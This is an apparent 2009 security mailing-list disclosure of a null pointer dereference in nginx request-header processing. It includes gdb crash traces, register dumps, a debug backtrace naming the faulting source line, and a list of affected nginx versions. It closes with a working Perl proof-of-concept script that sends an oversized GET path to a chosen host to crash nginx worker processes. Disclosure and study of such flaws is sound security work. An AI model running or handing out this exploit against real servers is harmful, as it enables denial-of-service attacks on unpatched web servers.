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nginx null pointer dereference
From: zeus penguin <zeuspenguin () gmail com>
Date: Thu, 22 Oct 2009 19:35:53 +0300

debian:~# uname -a Linux debian 2.6.18-6-686 #1 SMP Thu Aug 20 21:56:59 UTC
2009 i686 GNU/Linux
debian:~# cat /etc/issue
Debian GNU/Linux 4.0 \n \l

debian:~# dpkg -l|grep nginx
ii nginx 0.4.13-2+etch2 small, but very powerful and efficient
debian:~# ps xauwww|grep worker|grep -v grep
www-data 3577 0.0 0.9 2688 928 ? S 01:50 0:00 nginx: worker process
debian:~# gdb -p 3577
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
Attaching to process 3577
Reading symbols from /usr/sbin/nginx...(no debugging symbols found)...done.
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
Reading symbols from /lib/tls/i686/cmov/libcrypt.so.1...(no debugging
symbols found)...done.
Loaded symbols for /lib/tls/i686/cmov/libcrypt.so.1
Reading symbols from /usr/lib/libpcre.so.3...(no debugging symbols
found)...done.
Loaded symbols for /usr/lib/libpcre.so.3
Reading symbols from /usr/lib/libz.so.1...(no debugging symbols
found)...done.
Loaded symbols for /usr/lib/libz.so.1
Reading symbols from /lib/tls/i686/cmov/libc.so.6...
(no debugging symbols found)...done.
Loaded symbols for /lib/tls/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols
found)...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/tls/i686/cmov/libnss_compat.so.2...(no debugging
symbols found)...done.
Loaded symbols for /lib/tls/i686/cmov/libnss_compat.so.2
Reading symbols from /lib/tls/i686/cmov/libnsl.so.1...(no debugging symbols
found)...done.
Loaded symbols for /lib/tls/i686/cmov/libnsl.so.1
Reading symbols from /lib/tls/i686/cmov/libnss_nis.so.2...
(no debugging symbols found)...done.
Loaded symbols for /lib/tls/i686/cmov/libnss_nis.so.2
Reading symbols from /lib/tls/i686/cmov/libnss_files.so.2...(no debugging
symbols found)...done.
Loaded symbols for /lib/tls/i686/cmov/libnss_files.so.2
Failed to read a valid object file image from memory.
0xb7f06410 in ?? ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x08068f23 in ?? ()
(gdb) bt
#0 0x08068f23 in ?? ()
#1 0x080b0540 in ?? ()
#2 0x080a54e4 in ?? ()
#3 0x00000000 in ?? ()
(gdb) i r
eax 0x6d4 1748
ecx 0xbff21028 -1074655192
edx 0x80b1794 134944660
ebx 0x80b0540 134939968
esp 0xbff21880 0xbff21880
ebp 0xbff218d8 0xbff218d8
esi 0x80b5630 134960688
edi 0x80b0540 134939968
eip 0x8068f23 0x8068f23 <__gmon_start__ () plt+126827>
eflags 0x10206 [ PF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) q
The program is running. Quit anyway (and detach it)? (y or n) y
Detaching from program: /usr/sbin/nginx, process 3577
debian:~#

in nginx error log we can see :
2009/10/15 01:53:24 [alert] 2477#0: worker process 3577 exited on signal 11

===============================

here is same test on nginx compiled with debug :

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
ngx_http_process_request_headers (rev=0x80c95d8) at
src/http/ngx_http_request.c:793
793 header.data[header.len++] = '.';
(gdb) bt
#0 ngx_http_process_request_headers (rev=0x80c95d8) at
src/http/ngx_http_request.c:793
#1 0x08069c63 in ngx_http_process_request_line (rev=0x80c95d8) at
src/http/ngx_http_request.c:702
#2 0x080668ff in ngx_http_init_request (rev=0x80c95d8) at
src/http/ngx_http_request.c:446
#3 0x0805f67e in ngx_epoll_process_events (cycle=0x80a59e8, timer=60000,
flags=<value optimized out>)
at src/event/modules/ngx_epoll_module.c:518
#4 0x08056712 in ngx_process_events_and_timers (cycle=0x80a59e8) at
src/event/ngx_event.c:245
#5 0x0805cebd in ngx_worker_process_cycle (cycle=0x80a59e8, data=0x0) at
src/os/unix/ngx_process_cycle.c:728
#6 0x0805b9b1 in ngx_spawn_process (cycle=0x80a59e8, proc=0x805c8a2
<ngx_worker_process_cycle>, data=0x0,
name=0x808e46b "worker process", respawn=-2) at
src/os/unix/ngx_process.c:187
#7 0x0805c470 in ngx_start_worker_processes (cycle=0x80a59e8, n=1, type=-2)
at src/os/unix/ngx_process_cycle.c:327
#8 0x0805d442 in ngx_master_process_cycle (cycle=0x80a59e8) at
src/os/unix/ngx_process_cycle.c:119
#9 0x0804ae5b in main (argc=1, argv=0xbfd72ac4) at src/core/nginx.c:332
(gdb) i r $eip
eip 0x8068e52 0x8068e52 <ngx_http_process_request_headers+273>
(gdb)

===============================

tested on versions 0.7.0 <= 0.7.61, 0.6.0 <= 0.6.38, 0.5.0 <= 0.5.37, 0.4.0
<= 0.4.14

================================
here is POC:

#!/usr/bin/perl
use IO::Socket;
if ($#ARGV != 0) {
print "Usage: ./nginx.pl <hostname>\n";
exit;}
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '80',
Proto => 'tcp');
$mysize = 4079;
$mymsg = "o" x $mysize;
print $sock "GET /$mymsg HTTP/1.1\r\n\r\n";

while(<$sock>) {
print;
}
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